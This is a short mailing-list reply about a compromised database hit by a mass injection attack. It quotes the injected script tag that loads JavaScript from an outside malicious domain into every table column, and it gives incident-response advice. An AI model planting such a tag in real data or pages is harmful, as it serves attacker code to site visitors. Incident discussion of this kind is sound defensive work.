Re: Urgent: Deciphering binary code executed against the database

Yes....we've taken it offline and have an idea how they got in.  I've
heard in the news that thousands of websites were hit by this.  But I
need to understand the extent of the damage.  So that's why I'm going
through each of the log entries.

eisa...@[EMAIL PROTECTED]
 wrote:
> It looks like they've added <script src=http://www.killwow1.cn/g.js></
> script> to each column in each user defined table.
>
> Your server has obviously been compromised.  If your data is
> sensitive, take it offline right away until you figure out how they
> got in.  If you have a website that uses this db, take it down right
> away.  They're obviously propagating some js onto your website by
> adding it in to all your data in a way that is not intended to not
> show as visible text on the web itself.